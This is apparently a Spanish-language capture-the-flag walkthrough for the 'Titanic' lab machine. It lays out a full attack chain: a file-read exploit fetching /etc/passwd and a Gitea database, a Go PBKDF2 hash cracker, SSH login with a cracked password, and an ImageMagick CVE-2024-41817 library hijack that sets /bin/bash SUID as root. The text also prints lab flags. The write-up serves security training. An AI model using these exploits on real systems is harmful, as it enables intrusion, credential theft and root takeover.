Titanic
9 minutos de lectura

root
usando una versión vulnerable de ImageMagick donde podemos realizar un library hijacking para obtener ejecución de código arbitrario, como root
- CVE
- Docker
- Tareas Cron
- Lectura de Archivos Locales
- Montajes de volumen
- Reutilización de contraseñas
- Permisos de archivos
- Library Hijacking
- Descifrado de hashes de contraseñas
- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.55
- Fecha: 15 / 02 / 2025
Escaneo de puertos
# Nmap 7.95 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.55 -p 22,80
Nmap scan report for 10.10.11.55
Host is up (0.016s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://titanic.htb/
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 20.13 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración
Si vamos a http://10.10.11.55
, seremos redirigidos a titanic.htb
. Después de configurar el dominio en /etc/hosts
, tenemos el siguiente sitio web:
Lo único que podemos hacer aquí es reservar un viaje:
Una vez que llenamos todos los parámetros y enviamos el formulario, se nos deacarga un documento JSON con los campos de formulario automáticamente. Podemos ver esto en la pestaña de red de las herramientas de desarrollador del navegador:
Lectura de archivos locales
Vemos que el documento JSON se descarga desde /download?ticket=
. Es posible que deseemos probar si podemos recuperar archivos arbitrarios del servidor web. Por ejemplo, podemos probar varios ../
para ir hacia atrás e intentar leer /etc/hosts
o /etc/passwd
:
$ curl 'titanic.htb/download?ticket=../../../../../../etc/hosts'
127.0.0.1 localhost titanic.htb dev.titanic.htb
127.0.1.1 titanic
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
En realidad, no necesitamos el payload de directory traversal, con enviar la ruta absoluta nos vale:
$ curl 'titanic.htb/download?ticket=/etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
Podemos ver que solo tenemos dos usuarios en el sistema:
$ curl 'titanic.htb/download?ticket=/etc/passwd' -s | grep sh$
root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/bash
De forma inesperada, vemos que podemos leer user.txt
!
$ curl 'titanic.htb/download?ticket=/home/developer/user.txt'
e6443b1e89e2a93a9bb29c59f8e54f9c
Obviamente, esto no es intencionado…
Si echamos un vistazo a /etc/hosts
, veremos dev.titanic.htb
. Después de configurar el subdominio en nuestro /etc/hosts
, podemos ver una instancia de Gitea:
Aquí podemos encontrar que developer
tiene dos repositorios:
El repositorio flask-app
contiene la aplicación web de viajes de antes, y no hay nada interesante aparte de la vulnerabilidad de lectura de archivos locales.
Acceso a la máquina
Por lo tanto, nos queda docker-config
:
Hay un directorio de mysql
con un archivo docker-compose.yml
, pero no es relevante porque no tenemos acceso a este servicio. Sin embargo, también hay un directorio de gitea
con otro archivo docker-compose.yml
:
Si te das cuenta, también hay un montaje de volumen para almacenar información de Gitea en la máquina host. Usando la vulnerabilidad de lectura de archivos locales, tal vez podamos leer información confidencial de este volumen.
Para resolver esto, podemos ejecutar el mismo contenedor Docker con el mismo archivo docker-compose.yml
(modificando la ruta del volumen del host) y luego ver lo que hay en /data
.
$ docker compose up
[+] Running 8/8
✔ gitea Pulled 19.7s
✔ b435a4918897 Pull complete 0.7s
✔ 6e771e15690e Pull complete 4.0s
✔ 0be93fbee49b Pull complete 8.4s
✔ b45ceccfc7c3 Pull complete 0.9s
✔ 171f2a179cec Pull complete 0.7s
✔ 2e434f7d5abe Pull complete 14.7s
✔ c60361d06bac Pull complete 14.7s
[+] Running 2/2
✔ Network content_default Created 0.0s
✔ Container gitea Created 0.2s
Attaching to gitea
gitea | Generating /data/ssh/ssh_host_ed25519_key...
gitea | Generating /data/ssh/ssh_host_rsa_key...
gitea | Generating /data/ssh/ssh_host_ecdsa_key...
gitea | Server listening on :: port 22.
gitea | Server listening on 0.0.0.0 port 22.
gitea | 2025/03/12 12:06:47 cmd/web.go:253:runWeb() [I] Starting Gitea on PID: 15
...
Podemos crear una cuenta ficticia y un repositorio ficticio, y luego echar un vistazo a /data
:
$ tree -L 2 data
data
├── git
│ ├── lfs
│ └── repositories
├── gitea
│ ├── actions_artifacts
│ ├── actions_log
│ ├── attachments
│ ├── avatars
│ ├── conf
│ ├── gitea.db
│ ├── home
│ ├── indexers
│ ├── jwt
│ ├── log
│ ├── packages
│ ├── queues
│ ├── repo-archive
│ ├── repo-avatars
│ ├── sessions
│ └── tmp
└── ssh
├── ssh_host_ecdsa_key
├── ssh_host_ecdsa_key.pub
├── ssh_host_ed25519_key
├── ssh_host_ed25519_key.pub
├── ssh_host_rsa_key
└── ssh_host_rsa_key.pub
21 directories, 7 files
El directorio ssh
es interesante, pero no parece ser legible desde el servidor web. En cambio, podemos echar un vistazo al archivo gitea.db
, que es una base de datos SQLite:
$ sqlite3 data/gitea/gitea.db
SQLite version 3.43.2 2023-10-10 13:08:14
Enter ".help" for usage hints.
sqlite> .tables
access org_user
access_token package
action package_blob
action_artifact package_blob_upload
action_run package_cleanup_rule
action_run_index package_file
action_run_job package_property
action_runner package_version
action_runner_token project
action_schedule project_board
action_schedule_spec project_issue
action_task protected_branch
action_task_output protected_tag
action_task_step public_key
action_tasks_version pull_auto_merge
action_variable pull_request
app_state push_mirror
attachment reaction
auth_token release
badge renamed_branch
branch repo_archiver
collaboration repo_indexer_status
comment repo_license
commit_status repo_redirect
commit_status_index repo_topic
commit_status_summary repo_transfer
dbfs_data repo_unit
dbfs_meta repository
deploy_key review
email_address review_state
email_hash secret
external_login_user session
follow star
gpg_key stopwatch
gpg_key_import system_setting
hook_task task
issue team
issue_assignees team_invite
issue_content_history team_repo
issue_dependency team_unit
issue_index team_user
issue_label topic
issue_user tracked_time
issue_watch two_factor
label upload
language_stat user
lfs_lock user_badge
lfs_meta_object user_blocking
login_source user_open_id
milestone user_redirect
mirror user_setting
notice version
notification watch
oauth2_application webauthn_credential
oauth2_authorization_code webhook
oauth2_grant
sqlite> .header on
sqlite> select * from user;
id|lower_name|name|full_name|email|keep_email_private|email_notifications_preference|passwd|passwd_hash_algo|must_change_password|login_type|login_source|login_name|type|location|website|rands|salt|language|description|created_unix|updated_unix|last_login_unix|last_repo_visibility|max_repo_creation|is_active|is_admin|is_restricted|allow_git_hook|allow_import_local|allow_create_organization|prohibit_login|avatar|avatar_email|use_custom_avatar|num_followers|num_following|num_stars|num_repos|num_teams|num_members|visibility|repo_admin_change_team_access|diff_view_style|theme|keep_activity_private
1|asdf|asdf||asdf@asdf.com|0|enabled|edf69fd27a30cd8a3be6b67034265c56a2b455153ac25317308f8b1c7721a62f90f71f87f86707d3c18f225625352e8fc481|pbkdf2$50000$50|0|0|0||0|||d0796fc1a6c0303c745e605816be0f2c|4fd632a203bf1ee53bfb164bf861ba3a|es-ES||1741781290|1741781299|1741781290|0|-1|1|1|0|0|0|1|0|87f60ea777b0d9395d5d4ad7ea4be745|asdf@asdf.com|0|0|0|0|1|0|0|0|0||gitea-auto|0
¡Oh!, tenemos información sobre la autenticación de los usuarios en la tabla user
. Particularmente, estamos interesados en name
, passwd
, passwd_hash_algo
y salt
.
Encontrando contraseñas
Descarguemos e inspeccionemos el archivo de la base de datos del servidor:
$ curl 'titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db' -so gitea.db
$ sqlite3 gitea.db
SQLite version 3.43.2 2023-10-10 13:08:14
Enter ".help" for usage hints.
sqlite> select name, passwd, passwd_hash_algo, salt from user;
administrator|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|2d149e5fbd1b20cf31db3e3c6a28fc9b
developer|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|8bf3e3452b78544f8bee9400d6936d34
Por lo tanto, tenemos dos hashes de contraseña para administrator
y developer
. El algoritmo de hash es algún tipo de PBKDF. Para ver cómo funciona, es recomendable echar un vistazo al código de Gitea.
Después de un poco de investigación, podemos encontrar el archivo de Go relevante en go-gitea. Aquí vemos que usa PBKDF con SHA256 como una función hash, 50000 iteraciones (iter
) y una longitud de clave de 50 (keyLen
).
Ahora, podemos tomar el código relevante para escribir una cracker de hashes personalizado en Go (también se puede traducir a Python o lo que sea, pero ¿por qué cambiar?):
package main
import (
"bytes"
"fmt"
"os"
"crypto/sha256"
"encoding/hex"
"golang.org/x/crypto/pbkdf2"
)
var usernames = []string{"administrator", "developer"}
var salts = []string{"2d149e5fbd1b20cf31db3e3c6a28fc9b", "8bf3e3452b78544f8bee9400d6936d34"}
var hashes = []string{
"cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136",
"e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56",
}
func main() {
passwords, _ := os.ReadFile("rockyou.txt")
for password := range bytes.SplitSeq(passwords, []byte{'\n'}) {
for i, hash := range hashes {
salt, _ := hex.DecodeString(salts[i])
if hash == hex.EncodeToString(pbkdf2.Key(password, salt, 50000, 50, sha256.New)) {
fmt.Println(usernames[i], string(password))
os.Exit(0)
}
}
}
}
Si ejecutamos este programa en Go, encontraremos la contraseña de developer
después de unos minutos:
$ go run crack.go
developer 25282528
En este punto, podríamos iniciar sesión en Gitea como developer
, pero no queda nada allí. Entonces, lo único que podemos hacer es probar esta contraseña en SSH. ¡Y funciona!
$ ssh developer@titanic.htb
developer@titanic.htb's password:
developer@titanic:~$ cat user.txt
e6443b1e89e2a93a9bb29c59f8e54f9c
Enumeración del sistema
Después de la enumeración básica, podemos ver un script en /opt
:
developer@titanic:~$ ls /opt
app containerd scripts
developer@titanic:~$ ls /opt/scripts/
identify_images.sh
developer@titanic:~$ cat /opt/scripts/identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
Este script se mueve a /opt/app/static/assets/images/
, trunca metadata.log
a 0 bytes, y luego ejecuta magick identify
en cada imagen JPEG. El resultado se almacena en metadata.log
:
developer@titanic:~$ ls -la /opt/app/static/assets/images/
total 1288
drwxrwx--- 2 root developer 4096 Feb 3 17:13 .
drwxr-x--- 3 root developer 4096 Feb 7 10:37 ..
-rw-r----- 1 root developer 291864 Feb 3 17:13 entertainment.jpg
-rw-r----- 1 root developer 280854 Feb 3 17:13 exquisite-dining.jpg
-rw-r----- 1 root developer 209762 Feb 3 17:13 favicon.ico
-rw-r----- 1 root developer 232842 Feb 3 17:13 home.jpg
-rw-r----- 1 root developer 280817 Feb 3 17:13 luxury-cabins.jpg
-rw-r----- 1 root developer 442 Mar 13 22:28 metadata.log
developer@titanic:~$ cat /opt/app/static/assets/images/metadata.log
/opt/app/static/assets/images/luxury-cabins.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280817B 0.010u 0:00.003
/opt/app/static/assets/images/entertainment.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 291864B 0.000u 0:00.000
/opt/app/static/assets/images/home.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 232842B 0.000u 0:00.000
/opt/app/static/assets/images/exquisite-dining.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280854B 0.010u 0:00.000
Obsérvese que no se nos permite ejecutar el script porque metadata.log
es propiedad de root
y no se nos permite escribir aquí:
developer@titanic:~$ /opt/scripts/identify_images.sh
truncate: cannot open 'metadata.log' for writing: Permission denied
/opt/scripts/identify_images.sh: line 3: metadata.log: Permission denied
Por lo tanto, podemos adivinar que este script está siendo ejecutado por root
de manera periódica.
Escalada de privilegios
Para escalar privilegios, debemos encontrar un fallo en el script. Lo único que podría ser vulnerable es magick
, que proviene de ImageMagick. Esta es la versión exacta:
developer@titanic:~$ magick -version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
Si buscamos vulnerabilidades, encontraremos CVE-2024-41817, y también una prueba de concepto (PoC).
La PoC dice que debemos escribir un archivo delegates.xml
con el comando del sistema que queremos ejecutar y luego decirle a magick
que cargue esta configuración. Podemos comprobarlo:
developer@titanic:~$ cat > delegates.xml
<delegatemap><delegate xmlns="" decode="XML" command="id"/></delegatemap>
^C
developer@titanic:~$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer)
developer@titanic:~$ magick ./delegates.xml ./out.png 2>/dev/null
uid=1000(developer) gid=1000(developer) groups=1000(developer)
Sin embargo, el comando ejecutado por root
no incluye el archivo delegates.xml
…
Library hijacking
La PoC también incluye una forma de evitar usar el archivo delegates.xml
explícitamente. Para esto, debemos compilar una librería compartida y ponerla en el directorio de trabajo donde se ejecutará magick
.
Con esto podremos ejecutar cualquier comando como root
. Obsérvese que es una ejecución de comando a ciegas como root
, por lo que debemos usar una reverse shell, establecer Bash como binario SUID o emplear cualquier otra técnica de persistencia:
Por suerte, gcc
está instalado en la máquina:
developer@titanic:~$ gcc -x c -shared -fPIC -o /opt/app/static/assets/images/libxcb.so.1 - << EOF
> #include <stdio.h>
> #include <stdlib.h>
> #include <unistd.h>
>
> __attribute__((constructor)) void init() {
> system("chmod u+s /bin/bash");
> exit(0);
> }
> EOF
developer@titanic:~$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
Unos segundos después, veremos que los permisos de Bash han cambiado:
developer@titanic:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
Entonces, solo tenemos que usar bash -p
para obtener una shell como root
:
developer@titanic:~$ bash -p
bash-5.1# cat /root/root.txt
ff66028f643f9e1abde5dbf8fa85bf94